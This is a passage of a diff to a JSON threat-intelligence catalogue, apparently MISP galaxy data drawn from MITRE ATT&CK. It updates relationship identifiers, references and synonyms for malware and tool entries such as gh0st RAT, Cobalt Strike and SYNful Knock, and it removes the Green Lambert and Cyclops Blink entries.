"dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -751,21 +672,21 @@ "type": "uses" }, { - "dest-uuid": "986f80f7-ff0e-4f48-87bd-0394814bbce5", + "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -791,6 +712,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "2740eaf6-2db2-4a40-a63f-f5b166c7059c", @@ -814,7 +742,7 @@ }, "related": [ { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "dest-uuid": "2d646840-f6f5-4619-a5a8-29c8316bbac5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -828,7 +756,7 @@ "type": "uses" }, { - "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -855,6 +783,13 @@ ], "type": "uses" }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -870,21 +805,21 @@ "type": "similar" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -898,7 +833,7 @@ "type": "uses" }, { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1113,7 +1048,7 @@ "value": "P.A.S. Webshell - S0598" }, { - "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) is a remote access tool (RAT). The source code is public and it has been used by multiple groups.(Citation: FireEye Hacking Team)(Citation: Arbor Musical Chairs Feb 2018)(Citation: Nccgroup Gh0st April 2018)", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) is a remote access tool (RAT). The source code is public and it has been used by multiple groups. (Citation: FireEye Hacking Team)(Citation: Arbor Musical Chairs Feb 2018)(Citation: Nccgroup Gh0st April 2018)", "meta": { "external_id": "S0032", "mitre_platforms": [ @@ -1121,16 +1056,13 @@ "macOS" ], "refs": [ - "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", "https://attack.mitre.org/software/S0032", "https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/", "https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/", "https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html" ], "synonyms": [ - "gh0st RAT", - "Mydoor", - "Moudoor" + "gh0st RAT" ] }, "related": [ @@ -1771,7 +1703,7 @@ }, "related": [ { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1792,14 +1724,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1811,6 +1736,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "20dbaf05-59b8-4dc6-8777-0b17f4553a23", @@ -1909,14 +1841,28 @@ "type": "uses" }, { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1930,14 +1876,14 @@ "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "fa801609-ca8e-415e-815e-65f3826ff4df", + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2039,6 +1985,13 @@ ], "type": "uses" }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -2061,14 +2014,14 @@ "type": "uses" }, { - "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2082,7 +2035,14 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2103,7 +2063,7 @@ "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2131,21 +2091,14 @@ "type": "uses" }, { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2164,7 +2117,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0056", - "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" ], "synonyms": [ "Net Crawler", @@ -2339,156 +2292,6 @@ "uuid": "2eaa5319-5e1e-4dd7-bbc4-566fced3964a", "value": "Bad Rabbit - S0606" }, - { - "description": "[Green Lambert](https://attack.mitre.org/software/S0690) is a modular backdoor that security researchers assess has been used by an advanced threat group referred to as Longhorn and The Lamberts. First reported in 2017, the Windows variant of [Green Lambert](https://attack.mitre.org/software/S0690) may have been used as early as 2008; a macOS version was uploaded to a multiscanner service in September 2014.(Citation: Kaspersky Lamberts Toolkit April 2017)(Citation: Objective See Green Lambert for OSX Oct 2021) ", - "meta": { - "external_id": "S0690", - "mitre_platforms": [ - "Windows", - "iOS", - "macOS", - "Linux" - ], - "refs": [ - "https://attack.mitre.org/software/S0690", - "https://objective-see.com/blog/blog_0x68.html", - "https://securelist.com/unraveling-the-lamberts-toolkit/77990/" - ], - "synonyms": [ - "Green Lambert" - ] - }, - "related": [ - { - "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1eaebf46-e361-4437-bc23-d5d65a3b92e3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "573ad264-1371-4ae0-8482-d2673b719dba", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "84601337-6a55-4ad7-9c35-79e0d1ea2ab3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b63a34e8-0a61-4c97-a23b-bf8a2ed812e2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d10cbd34-42e3-45c0-84d2-535a09849584", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dca670cf-eeec-438f-8185-fd959d9ef211", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "59c8a28c-200c-4565-9af1-cbdb24870ba0", - "value": "Green Lambert - S0690" - }, { "description": "[AutoIt backdoor](https://attack.mitre.org/software/S0129) is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. (Citation: Forcepoint Monsoon) This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.", "meta": { @@ -2831,7 +2634,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0154", - "https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf" + "https://cobaltstrike.com/downloads/csmanual38.pdf" ], "synonyms": [ "Cobalt Strike" @@ -3348,13 +3151,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "ffe59ad3-ad9b-4b9f-b74f-5beb3c309dc1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "a7881f21-e978-4fe4-af56-92c9416a2616", @@ -3480,7 +3276,7 @@ "value": "Ragnar Locker - S0481" }, { - "description": "[SYNful Knock](https://attack.mitre.org/software/S0519) is a stealthy modification of the operating system of network devices that can be used to maintain persistence within a victim's network and provide new capabilities to the adversary.(Citation: Mandiant - Synful Knock)(Citation: Cisco Synful Knock Evolution)", + "description": "[SYNful Knock](https://attack.mitre.org/software/S0519) is a stealthy modification of the operating system of network devices that can be used to maintain persistence within a victim's network and provide new capabilities to the adversary.(Citation: FireEye - Synful Knock)(Citation: Cisco Synful Knock Evolution)", "meta": { "external_id": "S0519", "mitre_platforms": [ @@ -3489,7 +3285,7 @@ "refs": [ "https://attack.mitre.org/software/S0519", "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices", - "https://www.mandiant.com/resources/synful-knock-acis" + "https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html" ], "synonyms": [ "SYNful Knock" @@ -3525,10 +3321,17 @@ "description": "[Power Loader](https://attack.mitre.org/software/S0177) is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)", "meta": { "external_id": "S0177", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0177", "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html", "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/" + ], + "synonyms": [ + "Power Loader", + "Win32/Agent.UAW" ] }, "related": [ @@ -3831,6 +3634,13 @@ ] }, "related": [ + { + "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", "tags": [ @@ -3839,7 +3649,14 @@ "type": "uses" }, { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62adb627-f647-498e-b4cc-41499361bacb", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3853,7 +3670,7 @@ "type": "uses" }, { - "dest-uuid": "9558a84e-2d5e-4872-918e-d847494a8ffc", + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3866,13 +3683,6 @@ ], "type": "uses" }, - { - "dest-uuid": "a9fa0d30-a8ff-45bf-922e-7720da0b7922", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b327a9c0-e709-495c-aa6e-00b042136e2b", "tags": [ @@ -3881,7 +3691,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3901,13 +3711,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -3916,7 +3719,7 @@ "type": "uses" }, { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3951,27 +3754,6 @@ ] }, "related": [ - { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "37047267-3e56-453c-833e-d92b68118120", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "39dd7871-f59b-495f-a9a5-3cb8cc50c9b2", "tags": [ @@ -3979,6 +3761,13 @@ ], "type": "uses" }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -3986,6 +3775,20 @@ ], "type": "uses" }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -4000,13 +3803,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", "tags": [ @@ -4022,7 +3818,7 @@ "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4041,6 +3837,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "366c800f-97a8-48d5-b0a6-79d00198252a", @@ -4571,7 +4374,7 @@ "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4584,6 +4387,13 @@ ], "type": "uses" }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ @@ -4598,13 +4408,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "cf28ca46-1fd3-46b4-b1f6-ec0b72361848", "tags": [ @@ -4627,7 +4430,7 @@ "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4653,6 +4456,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "f3975cc0-72bc-4308-836e-ac701b83860e", @@ -5150,14 +4960,7 @@ "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5170,12 +4973,26 @@ ], "type": "uses" }, + { + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "d1f1337e-aea7-454c-86bd-482a98ffaf62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "5a5dca4c-03c1-4b99-bfcf-c206e20aa663", @@ -5212,21 +5029,21 @@ "type": "uses" }, { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5247,14 +5064,21 @@ "type": "uses" }, { - "dest-uuid": "693cdbff-ea73-49c6-ac3f-91e7285c31d1", + "dest-uuid": "73c26732-6422-4081-8b63-6d0ae93d449e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "73c26732-6422-4081-8b63-6d0ae93d449e", + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5268,7 +5092,7 @@ "type": "uses" }, { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5282,7 +5106,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5303,7 +5127,7 @@ "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "e083305c-49e7-4c87-aae8-9689213bffbe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5324,7 +5148,14 @@ "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5334,187 +5165,24 @@ "uuid": "c6abcaf8-1765-41f8-9fe5-03d42fd0f6c0", "value": "Tiktok Pro - S0558" }, - { - "description": "[Cyclops Blink](https://attack.mitre.org/software/S0687) is a modular malware that has been used in widespread campaigns by [Sandworm Team](https://attack.mitre.org/groups/G0034) since at least 2019 to target Small/Home Office (SOHO) network devices, including WatchGuard and Asus.(Citation: NCSC Cyclops Blink February 2022)(Citation: NCSC CISA Cyclops Blink Advisory February 2022)(Citation: Trend Micro Cyclops Blink March 2022)", - "meta": { - "external_id": "S0687", - "mitre_platforms": [ - "Network" - ], - "refs": [ - "https://attack.mitre.org/software/S0687", - "https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf", - "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter", - "https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html" - ], - "synonyms": [ - "Cyclops Blink" - ] - }, - "related": [ - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "791481f8-e96a-41be-b089-a088763083d4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "acd0ba37-7ba9-4cc5-ac61-796586cd856d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d467bc38-284b-4a00-96ac-125f447799fc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dca670cf-eeec-438f-8185-fd959d9ef211", - "tags": [ - 